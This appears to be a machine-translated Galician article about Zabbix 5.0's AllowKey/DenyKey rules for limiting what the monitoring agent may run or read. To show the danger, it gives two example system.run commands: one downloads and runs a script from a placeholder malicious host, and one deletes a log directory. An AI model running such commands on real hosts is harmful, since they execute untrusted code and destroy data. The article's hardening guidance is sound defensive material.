Compatibilidade coas listas negras e brancas para as métricas do axente
Tikhon Uskov, Enxeñeiro de Integración, Zabbix
Problemas de seguridade de datos
Zabbix 5.0 ten unha nova función que che permite mellorar a seguridade nos sistemas que usan Zabbix Agent e que substitúe o parámetro antigo Activar comandos remotos.
As melloras na seguridade dos sistemas baseados en axentes derivan do feito de que un axente pode realizar un gran número de accións potencialmente perigosas.
- O axente pode recoller case calquera información, incluída información confidencial ou potencialmente perigosa, dos ficheiros de configuración, ficheiros de rexistro, ficheiros de contrasinais ou calquera outro ficheiro.
Por exemplo, usando a utilidade zabbix_get pode acceder a unha lista de usuarios, os seus directorios de inicio, ficheiros de contrasinais, etc.
Acceder aos datos mediante a utilidade zabbix_get
NOTA. Os datos só se poden recuperar se o axente ten permisos de lectura no ficheiro correspondente. Pero, por exemplo, o ficheiro /etc/passwd/ lexible por todos os usuarios.
- O axente tamén pode executar comandos potencialmente perigosos. Por exemplo, chave *system.run[]** permítelle executar calquera comando remoto en nós de rede, incluíndo a execución de scripts desde a interface web de Zabbix que tamén executan comandos no lado do axente.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- En Linux, o axente execútase por defecto sen privilexios de root, mentres que en Windows execútase como un servizo como System e ten acceso sen restricións ao sistema de ficheiros. En consecuencia, se non se realizan cambios nos parámetros do axente Zabbix despois da instalación, o axente ten acceso ao rexistro, ao sistema de ficheiros e pode executar consultas WMI.
Nas versións anteriores o parámetro EnableRemoteCommands=0 só se permite desactivar as métricas coa chave *system.run[]** e executando scripts desde a interface web, pero non había forma de restrinxir o acceso a ficheiros individuais, permitir ou desactivar chaves individuais que se instalaron co axente ou limitar o uso de parámetros individuais.
Usando o parámetro EnableRemoteCommand en versións anteriores de Zabbix
AllowKey/DenyKey
Zabbix 5.0 axuda a protexerse contra ese acceso non autorizado proporcionando listas brancas e listas negras para permitir e denegar métricas do axente.
En Zabbix 5.0 todas as claves, incluíndo *system.run[]** están habilitados e engadíronse dúas novas opcións de configuración de axente:
AllowKey= - comprobacións permitidas;
DenyKey= - controis prohibidos;
onde é un patrón de nome de chave con parámetros que usa metacaracteres (*).
As teclas AllowKey e DenyKey permítenche permitir ou denegar métricas individuais en función dun patrón específico. A diferenza doutros parámetros de configuración, o número de parámetros AllowKey/DenyKey non está limitado. Isto permítelle definir claramente o que pode facer exactamente o axente no sistema creando unha árbore de comprobacións: chaves executables, onde a orde na que están escritas xoga un papel moi importante.
Secuencia de regras
As regras compróbanse na orde na que se introducen no ficheiro de configuración. A chave compróbase segundo as regras antes da primeira coincidencia e, en canto a clave do elemento de datos coincida co patrón, permítese ou denegarase. Despois diso, a comprobación das regras detense e ignóranse as teclas restantes.
Polo tanto, se un elemento coincide cunha regra de permitir e de denegar, o resultado dependerá de cal sexa a primeira regra no ficheiro de configuración.
2 regras diferentes co mesmo patrón e unha clave vfs.file.size[/tmp/file]
A orde de uso das teclas AllowKey/DenyKey:
- regras exactas,
- regras xerais,
- norma prohibitiva.
Por exemplo, se necesitas acceso a ficheiros nun cartafol determinado, primeiro debes permitir o acceso a eles e, a continuación, denegar todo o que non estea dentro dos permisos establecidos. Se se usa primeiro a regra de denegación, denegarase o acceso ao cartafol.
Secuencia correcta
Se precisa permitir que se executen 2 utilidades a través de *system.run[]**, e a regra de denegación especificarase primeiro, as utilidades non se lanzarán, porque o primeiro patrón sempre coincidirá con calquera chave e ignoraranse as regras posteriores.
Secuencia incorrecta
Patróns
Regras fundamentais
O patrón é unha expresión con comodíns. O metacarácter (*) coincide con calquera número de caracteres nunha posición específica. Os metacaracteres pódense usar tanto no nome da clave como nos parámetros. Por exemplo, pode definir estrictamente o primeiro parámetro con texto, e especifique o seguinte como comodín.
Os parámetros deben ir entre corchetes [].
system.run[*
- incorrectovfs.file*.txt]
- incorrectovfs.file.*[*]
- certo
Exemplos de uso de comodíns.
- No nome da chave e no parámetro. Neste caso, a chave non se corresponde cunha chave semellante que non conteña un parámetro, xa que no patrón indicamos que queremos recibir unha determinada finalización do nome da chave e un determinado conxunto de parámetros.
- Se o patrón non usa corchetes, o patrón permite todas as claves que non conteñen parámetros e nega todas as claves que conteñan o parámetro especificado.
- Se a clave está escrita completa e os parámetros se especifican como comodín, coincidirá con calquera clave similar con ningún parámetro e non coincidirá coa clave sen corchetes, é dicir, permitirase ou denegará.
Normas para cubrir parámetros.
- Se se pretende utilizar unha clave con parámetros, os parámetros deben especificarse no ficheiro de configuración. Os parámetros deben especificarse como metacarácter. É necesario denegar coidadosamente o acceso a calquera ficheiro e ter en conta que información pode proporcionar a métrica baixo diferentes ortografías, con e sen parámetros.
Características de escritura de teclas con parámetros
- Se se especifica unha clave con parámetros, pero os parámetros son opcionais e especificados como metacarácter, resolverase unha clave sen parámetros. Por exemplo, se desexa desactivar a recepción de información sobre a carga na CPU e especificar que a chave system.cpu.load[*] debe estar desactivada, non esqueza que a chave sen parámetros devolverá o valor medio de carga.
Normas para cubrir os parámetros
Notas
axuste
- O usuario non pode cambiar algunhas regras, por exemplo, regras de descubrimento ou regras de rexistro automático de axentes. As regras de AllowKey/DenyKey non afectan aos seguintes parámetros:
-Item nome de host
- HostMetadataItem
- HostInterfaceItem
NOTA. Se un administrador desactiva unha chave, cando se lle consulta, Zabbix non proporciona información sobre por que a métrica ou a chave entran na categoría 'NON SOPORTADO'. A información sobre as prohibicións de executar comandos remotos tampouco se mostra nos ficheiros de rexistro do axente. Isto é por motivos de seguridade, pero pode complicar a depuración se as métricas entran nunha categoría non admitida por algún motivo.
- Non debe confiar en ningunha orde específica para conectar ficheiros de configuración externos (por exemplo, por orde alfabética).
Utilidades da liña de comandos
Despois de configurar as regras, debes asegurarte de que todo estea configurado correctamente.
Podes usar unha das tres opcións:
- Engade unha métrica a Zabbix.
- Proba con zabbix_agentd. Axente Zabbix con opción -imprimir (-p) mostra todas as claves (que están permitidas por defecto) excepto as que non están permitidas pola configuración. E coa opción -proba (-t) para unha chave prohibida volverá "Chave de elemento non compatible'.
- Proba con zabbix_get. Utilidade zabbix_get con opción -k volverá'ZBX_NOTSUPPORTED: métrica descoñecida'.
Permitir ou negar
Pode denegar o acceso a un ficheiro e verificalo, por exemplo, mediante a utilidade zabbix_getque se denegue o acceso ao ficheiro.
**
NOTA. Ignoranse as comiñas do parámetro.
Neste caso, pódese permitir o acceso a tal ficheiro a través dun camiño diferente. Por exemplo, se unha ligazón simbólica leva a el.
Recoméndase comprobar varias opcións para aplicar as regras especificadas e tamén ter en conta as posibilidades de eludir as prohibicións.
Preguntas e respostas
Pregunta. Por que se escolleu un patrón tan complexo cunha linguaxe propia para describir regras, permisos e prohibicións? Por que non foi posible usar, por exemplo, as expresións regulares que usa Zabbix?
Responder. Este é un problema de rendemento de expresións regulares xa que normalmente só hai un axente e comproba un gran número de métricas. Regex é unha operación bastante pesada e non podemos comprobar miles de métricas deste xeito. Comodíns - unha solución universal, amplamente utilizada e sinxela.
Pregunta. Os ficheiros Incluír non están incluídos en orde alfabética?
Responder. Polo que sei, é practicamente imposible predicir a orde na que se aplicarán as regras se as repartes en diferentes ficheiros. Recomendo recompilar todas as regras de AllowKey/DenyKey nun ficheiro Incluír, porque interactúan entre si e incluír este ficheiro.
Pregunta. En Zabbix 5.0 a opción 'EnableRemoteCommands=' falta no ficheiro de configuración e só están dispoñibles AllowKey/DenyKey?
Resposta. si é correcto.
Спасибо за внимание!
Fonte: www.habr.com